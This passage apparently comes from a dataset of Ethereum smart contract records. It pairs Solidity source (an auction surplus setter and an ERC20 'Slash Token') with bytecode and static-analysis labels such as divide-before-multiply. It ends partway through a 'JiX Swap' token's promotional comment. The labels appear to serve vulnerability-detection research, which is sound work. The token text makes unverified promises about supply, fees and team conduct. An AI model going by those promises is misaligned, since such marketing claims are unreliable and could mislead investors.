assembly{ z := and(x, y)}
}
// --- Math ---
uint internal constant HUNDRED = 100;
// --- Administration ---
/*
* @notify Modify an uint256 parameter
* @param parameter The name of the parameter to change
* @param val The new parameter value
*/
function modifyParameters(bytes32 parameter, uint256 val) external isAuthorized {
if (parameter == "minAuctionedSurplus") {
require(val > 0, "AuctionedSurplusSetter/null-min-auctioned-amount");
minAuctionedSurplus = val;
}
else if (parameter == "targetValue") {
require(val >= 100, "AuctionedSurplusSetter/null-target-value");
targetValue = val;
}
else if (parameter == "baseUpdateCallerReward") {
require(val <= maxUpdateCallerReward, "AuctionedSurplusSetter/invalid-min-reward");
baseUpdateCallerReward = val;
}
else if (parameter == "maxUpdateCallerReward") {
require(val >= baseUpdateCallerReward, "AuctionedSurplusSetter/invalid-max-reward");
maxUpdateCallerReward = val;
}
else if (parameter == "perSecondCallerRewardIncrease") {
require(val >= RAY, "AuctionedSurplusSetter/invalid-reward-increase");
perSecondCallerRewardIncrease = val;
}
else if (parameter == "maxRewardIncreaseDelay") {
require(val > 0, "AuctionedSurplusSetter/invalid-max-increase-delay");
maxRewardIncreaseDelay = val;
}
else if (parameter == "updateDelay") {
require(val > 0, "AuctionedSurplusSetter/null-update-delay");
updateDelay = val;
}
else if (parameter == "targetValueInflationUpdateTime") {
require(both(val >= targetValueInflationUpdateTime, val <= now), "AuctionedSurplusSetter/invalid-inflation-update-time");
targetValueInflationUpdateTime = val;
}
else if (parameter == "targetValueInflationDelay") {
require(val <= uint(-1) / 2, "AuctionedSurplusSetter/invalid-inflation-delay");
targetValueInflationDelay = val;
}
else if (parameter == "targetValueTargetInflation") {
require(val <= MAX_INFLATION, "AuctionedSurplusSetter/invalid-target-inflation");
targetValueTargetInflation = val;
}
else revert("AuctionedSurplusSetter/modify-unrecognized-param");
emit ModifyParameters(parameter, val);
}
/*
* @notify Modify an address param
* @param parameter The name of the parameter to change
* @param addr The new address for the parameter
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
require(addr != address(0), "AuctionedSurplusSetter/null-address");
if (parameter == "treasury") treasury = StabilityFeeTreasuryLike(addr);
else revert("AuctionedSurplusSetter/modify-unrecognized-param");
emit ModifyParameters(parameter, addr);
}
// --- Core Logic ---
/*
* @notify Recompute and set the new amount of surplus that's sold in one surplus auction
*/
function recomputeSurplusAmountAuctioned(address feeReceiver) public {
// Check delay between calls
require(either(subtract(now, lastUpdateTime) >= updateDelay, lastUpdateTime == 0), "AuctionedSurplusSetter/wait-more");
// Get the caller's reward
uint256 callerReward = getCallerReward(lastUpdateTime, updateDelay);
// Store the timestamp of the update
lastUpdateTime = now;
// Apply inflation
applyInflation();
// Calculate the new amount to sell
uint256 surplusToSell = multiply(rdivide(targetValue, oracleRelayer.redemptionPrice()), WAD);
surplusToSell = (surplusToSell < minAuctionedSurplus) ? minAuctionedSurplus : surplusToSell;
// Set the new amount
accountingEngine.modifyParameters("surplusAuctionAmountToSell", surplusToSell);
// Emit an event
emit RecomputeSurplusAmountAuctioned(surplusToSell);
// Pay the caller for updating the rate
rewardCaller(feeReceiver, callerReward);
}
// --- Internal Logic ---
/*
* @notice Automatically apply inflation to the targetValue
*/
function applyInflation() internal {
uint256 updateSlots = subtract(now, targetValueInflationUpdateTime) / targetValueInflationDelay;
if (updateSlots == 0) return;
targetValueInflationUpdateTime = addition(targetValueInflationUpdateTime, multiply(updateSlots, targetValueInflationDelay));
for (uint i = 0; i < updateSlots; i++) {
targetValue = addition(targetValue, multiply(targetValue / 100, targetValueTargetInflation));
}
}
}
|
0x608060405234801561001057600080fd5b506004361061021c5760003560e01c80636614f01011610125578063c39223c4116100ad578063dd2d2a121161007c578063dd2d2a12146104d2578063f238ffd2146104f5578063f752fdc314610518578063fdb04bbf1461053b578063fe4f5890146105435761021c565b8063c39223c414610491578063c81f982e14610499578063c8f33c91146104a1578063d6e882dc146104a95761021c565b806394f3f81d116100f457806394f3f81d14610412578063961d45c414610438578063a087163714610440578063a65b869b14610463578063a8e2044e1461046b5761021c565b80636614f010146103ce57806369dec276146103fa5780636a1460241461040257806374060b511461040a5761021c565b80633ef5e445116101a85780634faf61ab116101775780634faf61ab1461036f57806354f363a314610393578063552033c4146103b6578063554f94db146103be57806361d027b3146103c65761021c565b80633ef5e4451461031f57806341b0c9ba1461034257806343943b6b1461034a57806346f3e81c146103525761021c565b80632009e568116101ef5780632009e5681461029e57806324ba5884146102a65780633425677e146102cc57806335b28153146102d45780633c8bb3e6146102fc5761021c565b8063056640b7146102215780631021344714610256578063165c4a16146102735780631c1f908c14610296575b600080fd5b6102446004803603604081101561023757600080fd5b5080359060200135610566565b60408051918252519081900360200190f35b6102446004803603602081101561026c57600080fd5b503561058d565b6102446004803603604081101561028957600080fd5b50803590602001356105a3565b610244610608565b61024461060e565b610244600480360360208110156102bc57600080fd5b50356001600160a01b0316610614565b610244610626565b6102fa600480360360208110156102ea57600080fd5b50356001600160a01b03166106bd565b005b6102446004803603604081101561031257600080fd5b508035906020013561075d565b6102446004803603604081101561033557600080fd5b5080359060200135610772565b6102446107ca565b6102446107d0565b6102446004803603602081101561036857600080fd5b50356107d6565b6103776107ed565b604080516001600160a01b039092168252519081900360200190f35b610244600480360360408110156103a957600080fd5b50803590602001356107fc565b61024461084d565b61024461085c565b610377610862565b6102fa600480360360408110156103e457600080fd5b50803590602001356001600160a01b0316610871565b6102446109b5565b6102446109bb565b6102446109c7565b6102fa6004803603602081101561042857600080fd5b50356001600160a01b03166109cd565b610377610a6c565b6102446004803603604081101561045657600080fd5b5080359060200135610a7b565b610244610a93565b6102fa6004803603602081101561048157600080fd5b50356001600160a01b0316610a99565b610244610ca7565b610244610cad565b610244610cb3565b610244600480360360608110156104bf57600080fd5b5080359060208101359060400135610cb9565b610244600480360360408110156104e857600080fd5b5080359060200135610d77565b6102446004803603604081101561050b57600080fd5b5080359060200135610d90565b6102446004803603604081101561052e57600080fd5b5080359060200135610e90565b610244610ea5565b6102fa6004803603604081101561055957600080fd5b5080359060200135610eaa565b6000676765c793fa10079d601b1b61057e84846105a3565b8161058557fe5b049392505050565b600061059d82633b9aca006105a3565b92915050565b60008115806105be575050808202828282816105bb57fe5b04145b61059d576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6d756c2d6f766572666c6f7760501b604482015290519081900360640190fd5b60015481565b60035481565b60006020819052908152604090205481565b600554604080516375ad331760e11b81523060048201528151600093849384936001600160a01b039092169263eb5a662e926024808201939291829003018186803b15801561067457600080fd5b505afa158015610688573d6000803e3d6000fd5b505050506040513d604081101561069e57600080fd5b50805160209091015190925090506106b68282610d77565b9250505090565b3360009081526020819052604090205460011461070b5760405162461bcd60e51b815260040180806020018281038252603681526020018061183d6036913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6000670de0b6b3a764000061057e84846105a3565b8082038281111561059d576040805162461bcd60e51b815260206004820152601760248201527f75696e742d75696e742d7375622d756e646572666c6f77000000000000000000604482015290519081900360640190fd5b60075481565b60045481565b600061059d82676765c793fa10079d601b1b6105a3565b600e546001600160a01b031681565b8181018281101561059d576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6164642d6f766572666c6f7760501b604482015290519081900360640190fd5b676765c793fa10079d601b1b81565b60085481565b6005546001600160a01b031681565b336000908152602081905260409020546001146108bf5760405162461bcd60e51b815260040180806020018281038252603681526020018061183d6036913960400191505060405180910390fd5b6001600160a01b0381166109045760405162461bcd60e51b81526004018080602001828103825260238152602001806116806023913960400191505060405180910390fd5b8167747265617375727960c01b141561093757600580546001600160a01b0319166001600160a01b03831617905561096e565b60405162461bcd60e51b81526004018080602001828103825260308152602001806116286030913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b60025481565b670de0b6b3a764000081565b600c5481565b33600090815260208190526040902054600114610a1b5760405162461bcd60e51b815260040180806020018281038252603681526020018061183d6036913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b600d546001600160a01b031681565b60008161057e84676765c793fa10079d601b1b6105a3565b60065481565b610ab8600854610aab42600954610772565b101560095460001461137f565b610b09576040805162461bcd60e51b815260206004820181905260248201527f41756374696f6e6564537572706c75735365747465722f776169742d6d6f7265604482015290519081900360640190fd5b6000610b19600954600854610d90565b426009559050610b27611383565b6000610bc1610bb3600754600e60009054906101000a90046001600160a01b03166001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610b8257600080fd5b505af1158015610b96573d6000803e3d6000fd5b505050506040513d6020811015610bac57600080fd5b5051610a7b565b670de0b6b3a76400006105a3565b90506006548110610bd25780610bd6565b6006545b600d5460408051630fe4f58960e41b81527f737572706c757341756374696f6e416d6f756e74546f53656c6c00000000000060048201526024810184905290519293506001600160a01b039091169163fe4f58909160448082019260009290919082900301818387803b158015610c4c57600080fd5b505af1158015610c60573d6000803e3d6000fd5b50506040805184815290517f67e9adec569b10d31aec1755ea49ba83289615626534a7828e64d5e5177ed9069350908190036020019150a1610ca283836113f4565b505050565b600b5481565b600a5481565b60095481565b6000838015610d5957600184168015610cd457859250610cd8565b8392505b50600283046002850494505b8415610d53578586028687820414610cfb57600080fd5b81810181811015610d0b57600080fd5b8590049650506001851615610d48578583028387820414158715151615610d3157600080fd5b81810181811015610d4157600080fd5b8590049350505b600285049450610ce4565b50610d6f565b838015610d695760009250610d6d565b8392505b505b509392505050565b600081831115610d875781610d89565b825b9392505050565b6000806001546000148015610da55750600254155b9050610db4428510158261137f565b15610dc357600091505061059d565b60008415610dda57610dd54286610772565b610ddc565b835b9050610def84821060015460001461137f565b15610dff5760009250505061059d565b6000610e0b8286610772565b90506000610e36600254676765c793fa10079d601b1b610e29610626565b81610e3057fe5b04610d77565b9050600354821115610e4d57935061059d92505050565b6001548215610e7a57610e77610e7160045485676765c793fa10079d601b1b610cb9565b82610566565b90505b81811115610e855750805b979650505050505050565b60008161057e84670de0b6b3a76400006105a3565b603281565b33600090815260208190526040902054600114610ef85760405162461bcd60e51b815260040180806020018281038252603681526020018061183d6036913960400191505060405180910390fd5b81726d696e41756374696f6e6564537572706c757360681b1415610f5f5760008111610f555760405162461bcd60e51b81526004018080602001828103825260308152602001806117576030913960400191505060405180910390fd5b6006819055611340565b816a74617267657456616c756560a81b1415610fbf576064811015610fb55760405162461bcd60e51b81526004018080602001828103825260288152602001806118156028913960400191505060405180910390fd5b6007819055611340565b817518985cd9555c19185d1950d85b1b195c94995dd85c9960521b141561102b576002548111156110215760405162461bcd60e51b815260040180806020018281038252602981526020018061172e6029913960400191505060405180910390fd5b6001819055611340565b81741b585e155c19185d1950d85b1b195c94995dd85c99605a1b14156110965760015481101561108c5760405162461bcd60e51b81526004018080602001828103825260298152602001806117056029913960400191505060405180910390fd5b6002819055611340565b817f7065725365636f6e6443616c6c6572526577617264496e637265617365000000141561111257676765c793fa10079d601b1b8110156111085760405162461bcd60e51b815260040180806020018281038252602e8152602001806116a3602e913960400191505060405180910390fd5b6004819055611340565b81756d6178526577617264496e63726561736544656c617960501b141561117c57600081116111725760405162461bcd60e51b81526004018080602001828103825260318152602001806117876031913960400191505060405180910390fd5b6003819055611340565b816a75706461746544656c617960a81b14156111db57600081116111d15760405162461bcd60e51b81526004018080602001828103825260288152602001806116586028913960400191505060405180910390fd5b6008819055611340565b817f74617267657456616c7565496e666c6174696f6e55706461746554696d650000141561125a57611215600c5482101542831115611623565b6112505760405162461bcd60e51b81526004018080602001828103825260348152602001806116d16034913960400191505060405180910390fd5b600c819055611340565b817f74617267657456616c7565496e666c6174696f6e44656c61790000000000000014156112d2576001600160ff1b038111156112c85760405162461bcd60e51b815260040180806020018281038252602e8152602001806117e7602e913960400191505060405180910390fd5b600a819055611340565b817f74617267657456616c7565546172676574496e666c6174696f6e000000000000141561093757603281111561133a5760405162461bcd60e51b815260040180806020018281038252602f8152602001806117b8602f913960400191505060405180910390fd5b600b8190555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b1790565b6000600a5461139442600c54610772565b8161139b57fe5b049050806113a957506113f2565b6113c0600c546113bb83600a546105a3565b6107fc565b600c5560005b818110156113ef576007546113e4906113bb60648204600b546105a3565b6007556001016113c6565b50505b565b6005546001600160a01b038381169116141561140f576113ef565b600554611427906001600160a01b031615821561137f565b15611431576113ef565b60006001600160a01b03831615611448578261144a565b335b6005546040805163a7e9445560e01b815290519293506001600160a01b039091169163201add9b918491849163a7e94455916004808301926020929190829003018186803b15801561149b57600080fd5b505afa1580156114af573d6000803e3d6000fd5b505050506040513d60208110156114c557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820186905251606480830192600092919082900301818387803b15801561151d57600080fd5b505af192505050801561152e575060015b610ca2573d80801561155c576040519150601f19603f3d011682016040523d82523d6000602084013e611561565b606091505b507ff7bf1f7447ce563690edb2abe40636178ff64fc766b07bf3e171b16102794a548183856040518080602001846001600160a01b03166001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019080838360005b838110156115e15781810151838201526020016115c9565b50505050905090810190601f16801561160e5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a150610ca2565b169056fe41756374696f6e6564537572706c75735365747465722f6d6f646966792d756e7265636f676e697a65642d706172616d41756374696f6e6564537572706c75735365747465722f6e756c6c2d7570646174652d64656c617941756374696f6e6564537572706c75735365747465722f6e756c6c2d6164647265737341756374696f6e6564537572706c75735365747465722f696e76616c69642d7265776172642d696e63726561736541756374696f6e6564537572706c75735365747465722f696e76616c69642d696e666c6174696f6e2d7570646174652d74696d6541756374696f6e6564537572706c75735365747465722f696e76616c69642d6d61782d72657761726441756374696f6e6564537572706c75735365747465722f696e76616c69642d6d696e2d72657761726441756374696f6e6564537572706c75735365747465722f6e756c6c2d6d696e2d61756374696f6e65642d616d6f756e7441756374696f6e6564537572706c75735365747465722f696e76616c69642d6d61782d696e6372656173652d64656c617941756374696f6e6564537572706c75735365747465722f696e76616c69642d7461726765742d696e666c6174696f6e41756374696f6e6564537572706c75735365747465722f696e76616c69642d696e666c6174696f6e2d64656c617941756374696f6e6564537572706c75735365747465722f6e756c6c2d7461726765742d76616c7565496e6372656173696e6754726561737572795265696d62757273656d656e742f6163636f756e742d6e6f742d617574686f72697a6564a26469706673582212207148287e58d1fcc3899d61f9d4f2f23905f65fbb328a07fb1feb4f012a0f4ace64736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,275 |
0xe222e2e3517f5af5e3abc667adf14320c848d6da
|
pragma solidity ^0.4.24;
/**
* @title introduce
* @dev erc20: balance, transfer, approve, transferFrom, allowrance
* @dev plus functions: ownable, pausable
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
uint8 public constant decimals = 18;
uint256 public constant ONE_TOKEN = (10 ** uint256(decimals));
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* @title Slash Token
* @dev ERC20 Slash Token (SLASH)
*/
contract SlashToken is StandardToken, Pausable {
string public constant name = 'Slash Token'; // Set the token name for display
string public constant symbol = 'SLASH'; // Set the token symbol for display
uint256 constant Thousand_Token = 1000 * ONE_TOKEN;
uint256 constant Million_Token = 1000 * Thousand_Token;
uint256 constant Billion_Token = 1000 * Million_Token;
uint256 public constant TOTAL_TOKENS = 10 * Billion_Token;
/**
* @dev Slash Token Constructor
* Runs only on initial contract creation.
*/
constructor() public {
totalSupply = TOTAL_TOKENS; // Set the total supply
balances[msg.sender] = TOTAL_TOKENS; // Creator address is assigned all
}
/**
* @dev Transfer token for a specified address when not paused
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_to != address(0));
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another when not paused
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_to != address(0));
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender when not paused.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) {
return super.approve(_spender, _value);
}
}
|
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b3146101745780630b7abf77146101ac57806318160ddd146101d357806323b872dd146101e8578063313ce567146102125780633f4ba83a1461023d5780635c975abb1461025257806370a08231146102675780638456cb59146102885780638da5cb5b1461029d57806395d89b41146102ce578063a9059cbb146102e3578063dd62ed3e14610307578063e443348e1461032e578063f2fde38b14610343575b600080fd5b3480156100f657600080fd5b506100ff610366565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a036004351660243561039d565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c16103c8565b60408051918252519081900360200190f35b3480156101df57600080fd5b506101c16103d8565b3480156101f457600080fd5b50610198600160a060020a03600435811690602435166044356103de565b34801561021e57600080fd5b50610227610420565b6040805160ff9092168252519081900360200190f35b34801561024957600080fd5b50610198610425565b34801561025e57600080fd5b506101986104a4565b34801561027357600080fd5b506101c1600160a060020a03600435166104b4565b34801561029457600080fd5b506101986104cf565b3480156102a957600080fd5b506102b2610553565b60408051600160a060020a039092168252519081900360200190f35b3480156102da57600080fd5b506100ff610562565b3480156102ef57600080fd5b50610198600160a060020a0360043516602435610599565b34801561031357600080fd5b506101c1600160a060020a03600435811690602435166105d2565b34801561033a57600080fd5b506101c16105fd565b34801561034f57600080fd5b50610364600160a060020a0360043516610609565b005b60408051808201909152600b81527f536c61736820546f6b656e000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156103b757600080fd5b6103c1838361065b565b9392505050565b6b204fce5e3e2502611000000081565b60005481565b60035460009060a060020a900460ff16156103f857600080fd5b600160a060020a038316151561040d57600080fd5b6104188484846106fd565b949350505050565b601281565b600354600090600160a060020a0316331461043f57600080fd5b60035460a060020a900460ff16151561045757600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a150600190565b60035460a060020a900460ff1681565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a031633146104e957600080fd5b60035460a060020a900460ff161561050057600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a150600190565b600354600160a060020a031681565b60408051808201909152600581527f534c415348000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156105b357600080fd5b600160a060020a03831615156105c857600080fd5b6103c1838361080c565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b670de0b6b3a764000081565b600354600160a060020a0316331461062057600080fd5b600160a060020a03811615610658576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600081158061068b5750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561069657600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600160a060020a03808416600090815260026020908152604080832033845282528083205493861683526001909152812054909190610742908463ffffffff6108bc16565b600160a060020a038086166000908152600160205260408082209390935590871681522054610777908463ffffffff6108ce16565b600160a060020a0386166000908152600160205260409020556107a0818463ffffffff6108ce16565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b3360009081526001602052604081205461082c908363ffffffff6108ce16565b3360009081526001602052604080822092909255600160a060020a0385168152205461085e908363ffffffff6108bc16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000828201838110156103c157600080fd5b600080838311156108de57600080fd5b50509003905600a165627a7a7230582076cc9c36ee31b6a386821be08dae8110670db1c7ec28edeed76bb4a2bae77f9c0029
|
{"success": true, "error": null, "results": {}}
| 8,276 |
0x99ab51fd0581116db20bd4cb3df1b53fbd3bae54
|
/*
What is JiX Swap?
JiXSwap is a decentralized exchange for swapping ERC-20 tokens.
Multi-chain support is planned for the next releases which is shown on the roadmap.
We built a platform for The crypto trading Industry
JiXSwap uses an automated market maker (AMM) model. That means that while you can trade digital assets on the platform, there isn’t an order book where you’re matched with someone else. Instead, you trade against a liquidity pool.
Those pools are filled with other users’ funds. They deposit them into the pool, receiving liquidity provider (or LP) tokens in return. They can use those tokens to reclaim their share, plus a portion of the trading fees.
JiXSwap Features
JiXSwap allows users to be Liqiudity Provider, Farming, Staking, Exchange, Bridging Assets across chains and more…
Liqiudity Provider
Pools are filled with other users’ funds. They deposit them into the pool, receiving liquidity provider (or LP) tokens in return. They can use those tokens to reclaim their share, plus a portion of the trading fees.
Farming
On the farm, you can deposit your LP tokens, locking them up in a process that rewards you with JIX. Which LP tokens can you deposit? Well, the list is quite long, but here’s a taster of some of the most popular ones.
Staking
JiXSwap allows you to stake its governance token. — JIX
You’ll earn a proportion of JIX token with every new BSC blocks.
Exchange
JiXSwap is an automated market maker (AMM) is a type of decentralized exchange (DEX) protocol that relies on a mathematical formula to price assets. Instead of using an order book like a traditional exchange, assets are priced according to a pricing algorithm.
Bridging Assets
Cross-chain bridging service that aims to increase interoperability between different blockchains. It essentially lets anyone convert selected coins into wrapped tokens (or “pegged tokens”) across chains. i.e. ERC20-BEP20
JiXSwap Roadmap
It’s a to-do list with particular timeline. We will work hard to release roadmap items before deadline.
JiX Swap Token (JIX)
JIX TOKEN
Contract Address:
Name: JiX Swap Token
Ticker: JIX
Decimals: 18
Max supply: 50,000
JIX Liquidity Mining and Burn Rates
Emission Rate: 0.75 JIX/block or 21600 JIX/day [may change in future]
Block Reward: Current block reward is 0.75 JIX. [may change in future]
• To preserve JIX Token value, we decided to burn 2000*(Block Reward) JIX Token every day.
• Nearly 9.09% of the total produced JIX will be sent to the deployer address for marketing&burning. The rest will be distributed among farms&pools on our platform.
• The team will not sell or farm any JIX token. The amount accumulates on the deployer address will be used only for marketing, contents&competitions and future airdrop. The only income for the developer team is deposit fees.
Importance of unique inflation control mechanism:
• Allocating this budget for marketing instead of buyback will help us grow & expand, hence, increasing coin value much more compared to buybacks.
• Income from deposit fees is negligible compared to the size of JIX/ETH and JIX/USDT pools. As a result of this, the value increase of JIX after the buyback will also negligible.
• Buyback can backfire since times of buybacks can create a pump/dump environment, and like said in the second argument, the value increase of the token is negligible due to the high volume of pools.
Deposit Fees
Standard deposit fee is 4% across all NON-JIX farms and pools. For JIX farms and pools, there is no deposit fee (0%). 50% of the deposit fee will be distributed among developers, the other 50% will be used for mainly marketing, buyback, and other expenses such as airdrops, contests, maintenance, etc.
JIX as a Governance Token
JIX is the native governance token of JiX Swap. We are advocates of decentralized platforms, because of this, we will lead our platform to success with our community. The community uses this platform and the community will lead this platform.
Our governance model is explained on Governance. As said there, after compulsory developments are being done, we will give control to our community.
Governance
Since our platform is decentralized, after the core development updates, we will give control to our community. Any JIX governance token holders may propose a change, update or development via our governance portal. Our governance structure will be like this:
First, any community member will propose their suggestion in our Discord channel’ #issues, then our community will talk upon this issue in Discord and Telegram. If this issue is agreed upon, the team will carry this proposal to the project page on Snapshot or Aragon.(the original issue can be amended before going to Snapshot page) When a proposal listed on Snapshot, those who hold JIX can vote either yes or no.
If the majority of JIX holders vote yes, then the team will execute the proposal.
If the majority of JIX holders vote no, then the team will not take action upon this proposal.
